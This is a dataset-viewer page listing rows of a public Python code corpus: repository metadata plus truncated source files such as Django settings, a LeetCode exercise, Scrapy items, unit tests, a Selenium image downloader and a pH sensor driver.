33c31ecade4b4b77e84825f895244dbb093f7e64 | 67e96382f822c8e1fd4ed80aef42afc1582d8a2e | /main_web/everyoneSays/everyoneSays/settings.py | fc82ecb253f907159ffa918083e5cba0e6e54c27 | [] | no_license | Salaah01/everyoneSays | a6e33953bc63c660006c2a2b80d74748069cf0ef | 3954b0e308ead05fda27de6b4ad16a6fe4c7eb86 | refs/heads/master | 2023-08-05T09:15:12.694362 | 2020-07-13T23:28:31 | 2020-07-13T23:28:31 | 265,930,263 | 0 | 0 | null | 2021-09-22T19:05:27 | 2020-05-21T19:06:27 | Python | UTF-8 | Python | false | false | 3,264 | py | """
Django settings for everyoneSays project.
Generated by 'django-admin startproject' using Django 3.0.6.
For more information on this file, see
https://docs.djangoproject.com/en/3.0/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.0/ref/settings/
"""
import ... | [
"salaah_amin@hotmail.co.uk"
] | salaah_amin@hotmail.co.uk |
18d91998f069b763cffeb5751854cb7b5941f797 | c1e6716beacee4dfb4f4c167c76dac0e2fd7e412 | /LeetCode/简单1/最小栈.py | f2aa5b2e8265e00eefc927bf5bfbac3050f63471 | [] | no_license | xiyangxitian1/learn_days | 68922ee986d1e4d38e1162c41e122ae42a269fc7 | 971cc2f674d53cf33a621a3a608f32a53603438a | refs/heads/master | 2020-10-01T16:54:49.758022 | 2019-12-22T08:47:52 | 2019-12-22T08:47:52 | 227,581,062 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 917 | py | # 设计一个支持 push,pop,top 操作,并能在常数时间内检索到最小元素的栈。
#
# push(x) -- 将元素 x 推入栈中。
# pop() -- 删除栈顶的元素。
# top() -- 获取栈顶元素。
# getMin() -- 检索栈中的最小元素。
class MinStack:
"""
这样效率太低了
"""
def __init__(self):
"""
initialize your data structure here.
"""
self.list = list()
self.helper ... | [
"liyan@live.shop.edu.cn"
] | liyan@live.shop.edu.cn |
d05dbb737e6f7f1d13acf87f02e74b21e6cc590f | de6a49b76f940b2b015c45d8024d60ec0925b48f | /Logger.py | 06445e530c9232236636303faf499a7039eba3ee | [
"MIT"
] | permissive | purboday/app.REMAppGroups | a06aa644d63a81783fb71797a7c5e975e5c8d3fd | 4c4e18f1cfc147d8ff297b535dd6946d4dedd4bb | refs/heads/master | 2023-06-13T02:13:16.146912 | 2021-07-08T20:38:20 | 2021-07-08T20:38:20 | 384,240,892 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,128 | py | '''
Logger component
- log msg format: (tag, measurement, [ time ], [ values ])
'''
from riaps.run.comp import Component
from influxdb import InfluxDBClient
from influxdb.client import InfluxDBClientError
import json
import logging
from datetime import datetime
import os
import yaml
BATCH_SIZE = 60
class Logger(Com... | [
"purboday.ghosh@vanderbilt.edu"
] | purboday.ghosh@vanderbilt.edu |
b4690585fbf3c801c4aec722657c104880b028c8 | 74020bb83e915ee7f5da8b9dd3efc35bb142cb2a | /jsonreader.py | ab79acd9095c38cef165a36096ac69294bd519a8 | [] | no_license | SiddharthMalhotra/Code-Signing-PKI-Certificates | 62ce4124c97d9d8db9241906f697f7e9a5d8c72e | ede8eecd949d49f791a74259234519b739f69868 | refs/heads/master | 2020-05-30T15:57:19.741092 | 2019-11-19T03:32:33 | 2019-11-19T03:32:33 | 189,830,284 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 956 | py | import json
# path = '/Users/siddharth/Downloads/responses_windows_virushashes_316.json'
#
# with open(path, 'r') as jsonfile:
# for line in jsonfile:
# dict = json.loads(line)
# print(dict['md5'])
#
# for line in signedfile:
# print (line)
#path = ''
textfile = '/home/ubuntu/My... | [
"codemalhotra@gmail.com"
] | codemalhotra@gmail.com |
5b772f0474910e3f52bb061eeaf15773a593dab4 | c57edb2fe918e6b33c5903dbc63b9bcbcf8f847f | /indeed_company_reviews/items.py | 21ebb81a2e41ec6c2e30fce63b486fcd6900858e | [
"MIT"
] | permissive | zehengl/scrapy-indeed-company-reviews | cf381b2f458624539057afe01880046444f12616 | 4e39c06037eb92a086c6351a9ef37c7225599715 | refs/heads/main | 2023-08-20T07:29:59.319654 | 2023-08-14T13:39:29 | 2023-08-14T13:39:29 | 213,436,914 | 5 | 1 | MIT | 2023-09-11T14:55:13 | 2019-10-07T16:48:16 | Python | UTF-8 | Python | false | false | 409 | py | # -*- coding: utf-8 -*-
# Define here the models for your scraped items
#
# See documentation in:
# https://docs.scrapy.org/en/latest/topics/items.html
import scrapy
class IndeedCompanyReviewsItem(scrapy.Item):
id = scrapy.Field()
rating = scrapy.Field()
text = scrapy.Field()
pros = scrapy.Field()
... | [
"imzehengl@gmail.com"
] | imzehengl@gmail.com |
98e562ae114e7698df9aeb8eb0c5698b79ad77da | d860c407d7757f9ca8dc814a2b24a1687a98b9db | /ifmodels/tests/test_ifmodels.py | c6e4e0dc5f8741172ba1fe3552dd7f9772eab16c | [
"MIT"
] | permissive | serrob23/ifmodels | c6f34afb28f6561c49127619df5247ff04eb49ac | c39902d6d1ca79275f9c250fafd9fb07c7b09f48 | refs/heads/master | 2020-09-14T04:09:26.332819 | 2019-11-18T19:18:58 | 2019-11-18T19:18:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,949 | py | from __future__ import absolute_import, division, print_function
import os.path as op
import numpy as np
import pandas as pd
import numpy.testing as npt
import ifmodels as sb
data_path = op.join(sb.__path__[0], 'data')
def test_transform_data():
"""
Testing the transformation of the data from raw data to fun... | [
"hhelmbre@uw.edu"
] | hhelmbre@uw.edu |
51f4649bf759480ec9f0b4d51f2d6673e0ada97d | 785e23fbff3e696be7abdcac0aa5f42122008656 | /wax/utils.py | 72f8fa251c094d0d3664fa56974579073428c0be | [
"Apache-2.0",
"BSD-3-Clause",
"MIT"
] | permissive | zggl/wax-ml | 329c079944728d4f621f70f6b0af0b95c256c3ee | ab18e064f9fa1c95458978f501efb6cde9ab64d5 | refs/heads/main | 2023-05-30T17:56:15.739249 | 2021-06-14T05:32:17 | 2021-06-14T05:32:17 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,191 | py | # Copyright 2021 The WAX-ML Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in w... | [
"eserie@gmail.com"
] | eserie@gmail.com |
3448b0f6f83f62a63acde23c7dd30c2bb745738e | 06f1cc6a29ff6c012d4c97e18d385ee9f5e68510 | /tiktorch/server/__main__.py | 3f1cdfc204cb3c9d2cee8d332921c0458fea517d | [
"MIT"
] | permissive | Phhere/tiktorch | c9d076362efcdd5f5fb31da2b9acbc60b07648ac | 82f109b4d82dda4b63a5d93e5527fc409a9fd4c1 | refs/heads/master | 2022-12-01T07:26:14.738435 | 2020-07-01T17:15:37 | 2020-07-01T17:15:37 | 285,004,592 | 0 | 0 | MIT | 2020-08-04T14:26:50 | 2020-08-04T14:26:49 | null | UTF-8 | Python | false | false | 74 | py | import sys
from .base import main
if __name__ == "__main__":
main()
| [
"mnovikov.work@gmail.com"
] | mnovikov.work@gmail.com |
2b7fc1a39dba6cc34d44ed9341815126919b7b5c | 61a43dbd5ee615bf5e5f8f52e739efdfe5b57443 | /func.py | db6fd07e95a76f4f910b2633cfad4dcb6a878493 | [] | no_license | tianqibucuohao/MyPython | 6edef8fa2635862914af26f96b3fb630a0198403 | 12b9689882dc197128d1a27b68c9a2840a57d0fc | refs/heads/master | 2020-04-07T15:04:09.838646 | 2020-01-09T09:03:48 | 2020-01-09T09:03:48 | 158,471,961 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,313 | py | def fib(n):
a,b=0,1
while a<n:
print(a,end=' ')
a,b=b,a+b
def output(name, base,shuqiang, wuli, liliang,jineng,huangzi,baizi,baoji, zuizhong):
outsum=base * shuqiang/(220) * (1+wuli/100) \
* (1+liliang/100) \
* (1+huangzi) \
* (1+baizi) \
* (1+baoji) \
... | [
"lichzhenglz@gmail.com"
] | lichzhenglz@gmail.com |
d254744b9ce6435292926760131839bbb3f92a19 | 74636ca1845d0547acc3420ffa91ebcc31534b14 | /maxFunctions.py | 31c1672870b408af64c08d8eb27f0c5c690a2e44 | [] | no_license | Maksym-Gorbunov/python1 | 3f61e89aef6098b44bda3419f4a7c1ea74f7ad58 | b700e5fe625548c3975ad3aad062302f3791f61f | refs/heads/master | 2020-03-07T19:44:38.091739 | 2018-04-10T11:50:09 | 2018-04-10T11:50:09 | 127,679,175 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 138 | py | def hello(name):
print ('Hello ' + name.capitalize() + ',\nWelkome onboard!')
#print ('Hello', name.capitalize(), ',\nWelkome onboard!') | [
"maxsverige@hotmail.com"
] | maxsverige@hotmail.com |
351b07b6aa81c5d1c935735b8eb4427e0f537c99 | e97f23138816994d17586e0f64a7dfa8bd72c421 | /app/forms.py | f21f7c41fa2005d3a5ece287c093e49973a026d6 | [] | no_license | thtruo/microblog | 4f9aaabcd7489b8b750a74efae3d2842c13fd56a | 0eb5268cdc94ab71f067c1a99ca5676602784022 | refs/heads/master | 2020-06-07T06:41:56.391028 | 2014-02-07T21:38:05 | 2014-02-07T21:38:05 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 262 | py | from flask.ext.wtf import Form
from wtforms import TextField, BooleanField
from wtforms.validators import Required
class LoginForm(Form):
openid = TextField('openid', validators = [Required()])
remember_me = BooleanField('remember me', default = False)
| [
"ttruongchau@gmail.com"
] | ttruongchau@gmail.com |
d04cf7fede3b16a342b169e8aeeb36e1e13ddd33 | 7bd08408726c2c9e5314ccaa8d6b59913b5858a9 | /src/selfcoin/node/ui/access.py | a286cc7719123124a11749337ff90784966a480b | [
"MIT"
] | permissive | wangyubin112/selfcoin | 1251064771e592aee7f82c766ba6fdbc9d204fed | f53528645f7d500108c7a258f07a2551f933ce7b | refs/heads/master | 2020-04-26T13:41:47.285025 | 2019-03-19T01:42:16 | 2019-03-19T01:42:16 | 173,587,318 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,030 | py | from tkinter import *
section = 2
x = 0.05
y = 0.15/6*section
x_col = 5
font_size = ('Arial')
def access(ui):
ui.regist_frame = Frame(ui.tab_access)
ui.login_frame = Frame(ui.tab_access)
ui.regist_frame.place(relx = 0, rely = 0, relwidth=1.0, relheight=1.0/section)
ui.login_frame.place(relx = 0, r... | [
"noreply@github.com"
] | wangyubin112.noreply@github.com |
f0ae133e7bf186976ce43043d3ba3f0c7f0bbb9f | 9768e9dfef5e242d5c2604f46177a7b77345b2cc | /practice/201710963_12-02.py | 2252ee750b268059e5d05bb69e26fa82b9739b72 | [] | no_license | kjee99/CT-201710963 | f1bc482752f825171091042718d6454254a7241f | dc4f6de5a553b51ffe99229baa076dbd5decd24a | refs/heads/master | 2021-01-19T09:37:41.625452 | 2017-05-29T08:12:19 | 2017-05-29T08:12:19 | 87,774,769 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,051 | py | import turtle
wn=turtle.Screen()
t1=turtle.Turtle()
width=wn.window_width()
w3=width/3
x1=0.0-w3
x2=0.0
x3=0.0+w3
def drawSquare(size) :
for i in range(1,5) :
t1.fd(size)
t1.rt(90)
drawSquare(100)
t1.clear()
def triangle(size) :
for i in range(1,4) :
t1.fd(size)
... | [
"noreply@github.com"
] | kjee99.noreply@github.com |
c32addfe05a464d16e025942398d9df189cfe880 | 110e9eb02d6c887a03eedc49ab65c0f70370c139 | /test/machine_learning.py | 08ce4867bfe40ef8685a8478a1b938abbbe62594 | [] | no_license | tylermoore19/stock-predictor | 7135d5e2e0d9b82654a370084ee43d1d46452e09 | 6ef6c3697407e6b13986bbd0d31ca4fa1f5ffa85 | refs/heads/master | 2022-07-18T00:02:17.157060 | 2019-10-30T21:48:14 | 2019-10-30T21:48:14 | 208,937,087 | 0 | 0 | null | 2022-06-22T02:58:13 | 2019-09-17T02:02:28 | Python | UTF-8 | Python | false | false | 6,750 | py | import math
import matplotlib
import numpy as np
import pandas as pd
import seaborn as sns
import time
import datetime
import pandas_datareader.data as web
from datetime import date, datetime, time, timedelta
from matplotlib import pyplot as plt
from pylab import rcParams
from sklearn.linear_model import LinearRegress... | [
"tmoorebb19@gmail.com"
] | tmoorebb19@gmail.com |
0b52f95719a03bb4ab96e7b7a11a1043421d193e | 73c030f579ab33622860b1efd4c059bfbbdb0b32 | /camelot/tests/test_groups.py | 2afe0334524f7dd5407d6f2e35d3d5d804b1507f | [] | no_license | uninico/project-camelot | 6b7e60fe50583223c3c1055a70a7014281fd5df3 | d01dc5adec4473c0baaefdc7c3d82720c274368a | refs/heads/master | 2020-03-21T17:16:41.710871 | 2018-06-24T07:27:37 | 2018-06-24T07:27:37 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,651 | py | from django.test import TestCase
from django.contrib.auth.models import User
from django.shortcuts import reverse
from .test_friendship import FriendGroupControllerTests
from ..controllers.groupcontroller import groupcontroller, is_in_group
from ..controllers.utilities import PermissionException
from .helperfunctions i... | [
"docz2a@gmail.com"
] | docz2a@gmail.com |
e1637b7f741728735c034ebbe450f6c0aeb64e01 | 6fe86ea636a69fff9174df6407839f0164407bdb | /tt/eigb/__init__.py | 90b6c77717b67f7caf596ea94e9d91d333bf979c | [
"MIT"
] | permissive | oseledets/ttpy | 9104e8014a73667b1cfc4fd867593cd8a6097ba0 | a50d5e0ce2a033a4b1aa703715cb85d715b9b34a | refs/heads/master | 2023-03-06T12:44:43.804115 | 2022-12-14T23:37:57 | 2022-12-14T23:37:57 | 5,499,019 | 220 | 77 | MIT | 2022-12-14T23:37:58 | 2012-08-21T18:22:27 | Python | UTF-8 | Python | false | false | 20 | py | from .eigb import *
| [
"ivan.oseledets@gmail.com"
] | ivan.oseledets@gmail.com |
bee38004695a79e71276ff54575c4e20006a4870 | e7bbbe8796a19af3479ff374c082b03539be1e14 | /tragopan/migrations/0039_auto_20150724_1407.py | 3a5498a8c827e4a76463688dae83df76c696310c | [] | no_license | nustarnuclear/orient | 9b219a05f8a515604578af24ab17f5d8f4c55f66 | 74c930dbdd0ecfc8b344ad692ad9252139d7ecb9 | refs/heads/master | 2021-01-17T03:15:37.271452 | 2015-09-24T10:21:36 | 2015-09-24T10:21:36 | 41,651,092 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 639 | py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('tragopan', '0038_auto_20150724_1359'),
]
operations = [
migrations.AlterField(
model_name='reactormodel',
... | [
"brookzhcn@gmail.com"
] | brookzhcn@gmail.com |
8d8f058dc263856303984152083e5452083a6612 | 7ac480776d4dd4c1991fc0ef1dd5ab7d55b02ee0 | /Yelp_crawler/db_forshop.py | 7ade27cddcd0a686e0bf249a7a8615b346910e4b | [] | no_license | Shencaowalker/crawler | 14b3faa015f05c0f4f1fc67a589f4f3d6d053324 | f6bfa522623b12262df2fd8d20ccdfe3c613e89e | refs/heads/master | 2021-07-09T19:16:54.143897 | 2017-10-11T00:46:09 | 2017-10-11T00:46:09 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,391 | py | #coding:utf-8
import MySQLdb
conn=MySQLdb.connect(
host='localhost',
port = 3306,
user='root',
passwd='shen',
db ='lunwen_yelp',
)
cur = conn.cursor()
def insertshopdb(list):
# cur = conn.cursor()
sqli="insert ignore into shoplist values(%s,%s,%s,%s)"
for i in list:
... | [
"s1179114797@outlook.com"
] | s1179114797@outlook.com |
fda76e23dcdd8d010170b2340d061f7f933adaa4 | 4751de6966810a91e6d2d1093189d75aff8f1e0b | /Codes/3_dragon_curve.py | 9333007de9c56635f3289d93910fd9d722f19917 | [] | no_license | rodosingh/Tesellate-2020 | 4479fcbd912f56c9fe89702652bbe4bedeb26f4e | ff017870402b94d2bd2733f997e23a3efd02959f | refs/heads/main | 2023-01-02T06:24:47.999512 | 2020-10-22T16:27:40 | 2020-10-22T16:27:40 | 305,027,618 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,337 | py | from turtle import *
# function to create the string according to which turtle would run!
def create_l_system(iters, axiom, rules):
start_string = axiom
if iters == 0:
return axiom
end_string = ""
for _ in range(iters):
end_string = "".join(rules[i] if i in rules else i for i in start_s... | [
"adityasinghdrdo@gmail.com"
] | adityasinghdrdo@gmail.com |
31d7f04d0ba5c7031c9bb5c8bf1cd387decdeee6 | 48776e220c568f7441654f6af1d856555c32d60d | /PaymentCalculator/PaymentCalculatorWithFunction(aw).py | 13e6c13605c2f42b3d3904388595a22c0f784cdd | [] | no_license | FlangoV/Learning | 059c5d3b2f1164c36bb39485d36c144e4167e84b | 70649fcd85e94c6ce67d983d54a70d9d131d6397 | refs/heads/master | 2022-12-02T08:45:44.213467 | 2020-08-16T14:50:24 | 2020-08-16T14:50:24 | 285,836,069 | 0 | 0 | null | 2020-08-16T20:26:42 | 2020-08-07T13:30:07 | Python | UTF-8 | Python | false | false | 884 | py | def calculateOverTime(floatHours, floatRate):
overtimeHours = floatHours - 40
regularPay = (floatHours-overtimeHours)*floatRate
overtimeRate = floatRate * 1.5
overtimePay = overtimeHours*overtimeRate
overtimePayment = overtimePay+regularPay
return overtimePayment
def com... | [
"69278564+FlangoV@users.noreply.github.com"
] | 69278564+FlangoV@users.noreply.github.com |
70d9d0ea58b9b7a882331c43014f51dfd3682705 | 0211666bbaa5907777363ce0a6cd5bf3a41d9a9c | /backend/core/api.py | fe7a7b487565ce89eed2b39ba1da7c436c193569 | [] | no_license | rg3915/django-ninja-tutorial | ababfcedaab56634b752730d9da42bebb83fa52f | ced3796f844c9ef320c6618c69af707bf68d3327 | refs/heads/main | 2023-05-08T18:50:33.540095 | 2021-06-04T19:12:13 | 2021-06-04T19:12:13 | 373,887,481 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 674 | py | from typing import List
from django.contrib.auth.models import User
from django.shortcuts import get_object_or_404
from ninja import Router, Schema
from backend.todo.api import TodoSchema
router = Router()
class UserSchema(Schema):
id: int
first_name: str
last_name: str
email: str
todos: List[T... | [
"regis42santos@gmail.com"
] | regis42santos@gmail.com |
eeb1821011a6e7d6efa43eabb9cc43a8875ac2ff | d3efc82dfa61fb82e47c82d52c838b38b076084c | /Autocase_Result/TSZLMM/YW_TSZLMM_SZXJ_042.py | 558f1e12f12527798214d8d814fbf62c8a419e2f | [] | no_license | nantongzyg/xtp_test | 58ce9f328f62a3ea5904e6ed907a169ef2df9258 | ca9ab5cee03d7a2f457a95fb0f4762013caa5f9f | refs/heads/master | 2022-11-30T08:57:45.345460 | 2020-07-30T01:43:30 | 2020-07-30T01:43:30 | 280,388,441 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,024 | py | #!/usr/bin/python
# -*- encoding: utf-8 -*-
import sys
sys.path.append("/home/yhl2/workspace/xtp_test/xtp/api")
from xtp_test_case import *
sys.path.append("/home/yhl2/workspace/xtp_test/service")
from ServiceConfig import *
from mainService import *
from QueryStkPriceQty import *
from log import *
sys.path.append("/h... | [
"418033945@qq.com"
] | 418033945@qq.com |
aeea65c858c30eff32f4ac5f2faf6c7b099e2677 | ffc02daee3b777da700425b5e0ff8445e8c7b6d8 | /Quiz/quiz_4_asset_management.py | dbc1cb6ff3506d40f8f229f46e933cd7d6ea08dc | [] | no_license | nahlaerrakik/edhec-portfolio-construction-analysis | bc5d773f51c0f9f4c651be1dafa7210e1120a54d | 018c976f0a11968614b3b1f5f6c478fe2d3a60ad | refs/heads/main | 2023-01-22T04:12:18.485805 | 2020-12-02T23:41:55 | 2020-12-02T23:41:55 | 318,020,909 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,413 | py | __author__ = 'nahla.errakik'
import edhec_risk_kit as erk
import pandas as pd
"""In the following questions, we will be working with three bonds:
B1 is a 15 Year Bond with a Face Value of $1000 that pays a 5% coupon semi-annually (2 times a year)
B2 is a 5 Year Bond with a Face value of $1000 that pays a 6% coupon q... | [
"nahlaerrakik@users.noreply.github.com"
] | nahlaerrakik@users.noreply.github.com |
6a7998e2475101c807b102b33e8cb9922406c1bd | 5e10b4c8f12dba924d9618ed82267f5555568fba | /mysite/blog/migrations/0001_initial.py | fb48db1e69a37c999c5a347b2377b315be719986 | [] | no_license | curiosityandlearn/djangoBlog | 2ef0d6eb4ed7e8704c09c807b6c422534439c6e4 | 8e15f6676a9fe2ad08c8fe88adf78be341cbd12b | refs/heads/master | 2020-04-28T09:41:12.370560 | 2015-06-26T14:23:47 | 2015-06-26T14:23:47 | 38,052,554 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 904 | py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
import django.utils.timezone
from django.conf import settings
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations ... | [
"curiosityandlearn@gmail.com"
] | curiosityandlearn@gmail.com |
20e94e2b9699fa44a90ebd86bf6adeda21a4cc2d | 6a98e451fe0bbec1cb09b76b619c0659f9a65553 | /microblog/app/__init__.py | 80f44de0b955529f504a7f42a039bce1137ee931 | [] | no_license | ys-office-llc/blog.miguelgrinberg.com-post-the-flask-mega-tutorial | 498859e699dc74d500ade64e759aa079a657c52d | e63757929bdcb5fec1e66b56a49af19f04a4eec9 | refs/heads/main | 2023-08-30T22:11:21.550996 | 2021-10-16T12:34:24 | 2021-10-16T12:34:24 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,318 | py | import logging
from logging.handlers import SMTPHandler, RotatingFileHandler
import os
import urllib3
from flask import Flask, request, current_app
from flask_sqlalchemy import SQLAlchemy
from flask_migrate import Migrate
from flask_login import LoginManager
from flask_mail import Mail
from flask_bootstrap import Boots... | [
"yusuke.sato@ys-office.me"
] | yusuke.sato@ys-office.me |
d35eed3fc5562b006b34fe5a7bc089ab8a52cc90 | 38aeab93e1d0abe9ce721e368a2e2da7174b34e6 | /data_pipeline/versions/2a51dc98ea0e_create_tags_table.py | 455bc3bb1d4caffa97f1a1939678f37b6cf2db36 | [] | no_license | DupSteGu-Enterprises/data-pipeline | eedccb2590bbcd680acb23bc79c34a204550f4c2 | 4a513c63d7a2ad62105e787e90b4afdbe2b6fcef | refs/heads/master | 2016-09-06T09:10:10.789744 | 2014-08-30T20:57:19 | 2014-08-30T20:57:19 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 528 | py | """Create tags table
Revision ID: 2a51dc98ea0e
Revises: 425a54a5c9dc
Create Date: 2014-07-24 00:00:59.607487
"""
# revision identifiers, used by Alembic.
revision = '2a51dc98ea0e'
down_revision = '425a54a5c9dc'
from alembic import op
import sqlalchemy as sa
from settings import db_settings as db
def upgrade():
... | [
"njdupoux1994@gmail.com"
] | njdupoux1994@gmail.com |
31079aaed58856c6109af0706b28d5557bb6070f | c3e111ae34f7d97807ce1ae77241fa59928fd910 | /class2assignment1/F.py | cb40d9871c5b144ed7286b331f2b0ebce04c6390 | [] | no_license | wittydavid/devops0605 | 9cd8e187441d7ceb29a6fbe23efc49f61c0f002d | 0f92f8955785c66712d00f4756678f2ea6814028 | refs/heads/main | 2023-07-13T01:46:05.804742 | 2021-08-27T17:56:35 | 2021-08-27T17:56:35 | 384,684,865 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 78 | py | phone_num = input("Enter phone number: ")
print(f"phone number: {phone_num}")
| [
"davidaskarian.tech@gmail.com"
] | davidaskarian.tech@gmail.com |
39b6d4bdb8972b192e3c2f9e4922aa5315e5816a | 11051f27837d449e828d73e8a9dad9deb2b9d457 | /Anime_attribute_discrimination/rori_or_other/rori_or_other_mynn.py | 99e4fc9399d56343bad30592aa9c0845b398133f | [] | no_license | KobayashiRui/pytorch_practice | 08707294ffa0d44269fcb8134c7fad1413fb781a | 8daba8ae4cd8e66db1bdd1feaacadb65b9aa63ca | refs/heads/master | 2020-07-04T13:40:05.271838 | 2019-12-23T05:04:00 | 2019-12-23T05:04:00 | 202,299,874 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,719 | py | import torch
import torch.nn as nn
import torch.optim as optim
import torch.nn.functional as F
from torch.optim import lr_scheduler
from torch.autograd import Variable
import torchvision
from torchvision import transforms, datasets, models
import matplotlib.pyplot as plt
import numpy as np
def imshow(images, title=N... | [
"roboroborx782@gmail.com"
] | roboroborx782@gmail.com |
52244361d65a0612cfd41b312c743cd3c84bf8a7 | 5c81d1c58998377697301a578de3903c4e679e28 | /src/create_db.py | f8cde49b003e19ea080c99ad2074d55ef8b1f9ee | [] | no_license | evasolal/ReigoDocker | 6305148cc4ee7ec73373e2bcda494bba122bcbdd | 309a05636ae5c33b7e5e627f4a51bc35f4216916 | refs/heads/main | 2023-04-23T20:00:57.815519 | 2021-05-12T12:04:01 | 2021-05-12T12:04:01 | 366,430,794 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,869 | py | import sqlite3
from sqlite3 import Error
def create_connection(db_file):
""" create a database connection to the SQLite database
specified by db_file
:param db_file: database file
:return: Connection object or None
"""
conn = None
try:
conn = sqlite3.connect(db_file... | [
"noreply@github.com"
] | evasolal.noreply@github.com |
d52d59665cb3b59e68269b407fe65d6b94b3f230 | 7891d4ece938533e13872506b0d93b3669cbd29f | /ImageDownload.py | 6c188df46e7a0dd4a9950500227fe2fa10e3abdc | [] | no_license | nimishbansal/ImageDownloader | 42ef6513a0d58d9a0ca331709384c2f8bc11d278 | 94bcfa5223591a1fd5041e87aa07cb13a8e5e911 | refs/heads/master | 2020-05-29T21:59:05.701937 | 2019-05-30T10:59:47 | 2019-05-30T10:59:47 | 189,398,104 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,928 | py | from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time
import os
import requests
import threading
import pygame
from PyQt5 import QtCore, QtWidgets
from PyQt5.QtCore import pyqtSignal,QObject
def downloadImage(url,counter,keyword="None"):
import urllib
format=url[url.rinde... | [
"noreply@github.com"
] | nimishbansal.noreply@github.com |
8599015f37a249c596af3f4c0e0ef8c100111f87 | d7049d63e791a257cf2685bbfd03cf5196d5f640 | /Courses_PatrickL_Christine_Ronald_Kennedy_JohnEboh/apps/courseAssign/apps.py | 00d815ad80a9b24b04c7f546d64d4f3ec5bb74ab | [] | no_license | dancinturtle/coursesFeb17 | e4825d98d02fe85477f5d4a6a1286e728c35b080 | c17f9a26c802af93fd9423ae79a33d425cf3f75c | refs/heads/master | 2021-01-19T12:48:47.517891 | 2017-02-22T03:23:56 | 2017-02-22T03:23:56 | 82,342,427 | 0 | 26 | null | 2017-02-22T19:12:56 | 2017-02-17T22:09:49 | Python | UTF-8 | Python | false | false | 140 | py | from __future__ import unicode_literals
from django.apps import AppConfig
class CourseassignConfig(AppConfig):
name = 'courseAssign'
| [
"pleung1987@gmail.com"
] | pleung1987@gmail.com |
a86a7a429a1c481e2685f5caf34c0993ec1fc365 | 8b3d00f7c0029a4974a5df2072ea21649d2b8829 | /dev/phSensor.py | 667d8504029009b66e6cf7bf3dbfbbfc711c7daa | [
"MIT"
] | permissive | dasTholo/pysmartnode | 29dd521b5f5374456b4300ec19b1c4bdf45a5dca | 90b0ae05e307433c4a904017902ffadd13835cef | refs/heads/master | 2021-01-05T02:41:45.897597 | 2020-02-18T16:08:34 | 2020-02-18T16:08:34 | 240,849,533 | 0 | 0 | MIT | 2020-02-18T19:37:13 | 2020-02-16T07:23:49 | Python | UTF-8 | Python | false | false | 5,269 | py | # Author: Kevin Köck
# Copyright Kevin Köck 2019 Released under the MIT license
# Created on 2019-05-11
"""
example config:
{
package: .sensors.phSensor
component: PHsensor
constructor_args: {
adc: 22 # ADC object/pin number
adc_multi: 1.52 # ADC multiplicat... | [
"kevinkk525@users.noreply.github.com"
] | kevinkk525@users.noreply.github.com |
c56de4ee7b33bef4406aa64f9e855ce8969ed701 | 464ba6b8119dfda26fbd77f31e600556c091147f | /store/views/cart.py | 3546861bd02ee174e562b4de5e418aa507104662 | [] | no_license | praveen9964/Tshirt-store | 5db88cf529927b3e9c1fb26ec3f19c9177394b49 | 2f9d8d3c05c555cd2c68653b543861f292cc7e9a | refs/heads/main | 2023-07-15T15:03:16.092448 | 2021-08-31T17:26:01 | 2021-08-31T17:26:01 | 401,783,162 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,040 | py | from django.shortcuts import render , HttpResponse, redirect
from store.forms.authforms import CustomerCreationForm,CustomerAuthForm #this is from authforms.py file
from django.contrib.auth.forms import AuthenticationForm #for built in login form
from django.contrib.auth import authenticate, login as loginUser,logou... | [
"kumarkp547@gmail.com"
] | kumarkp547@gmail.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.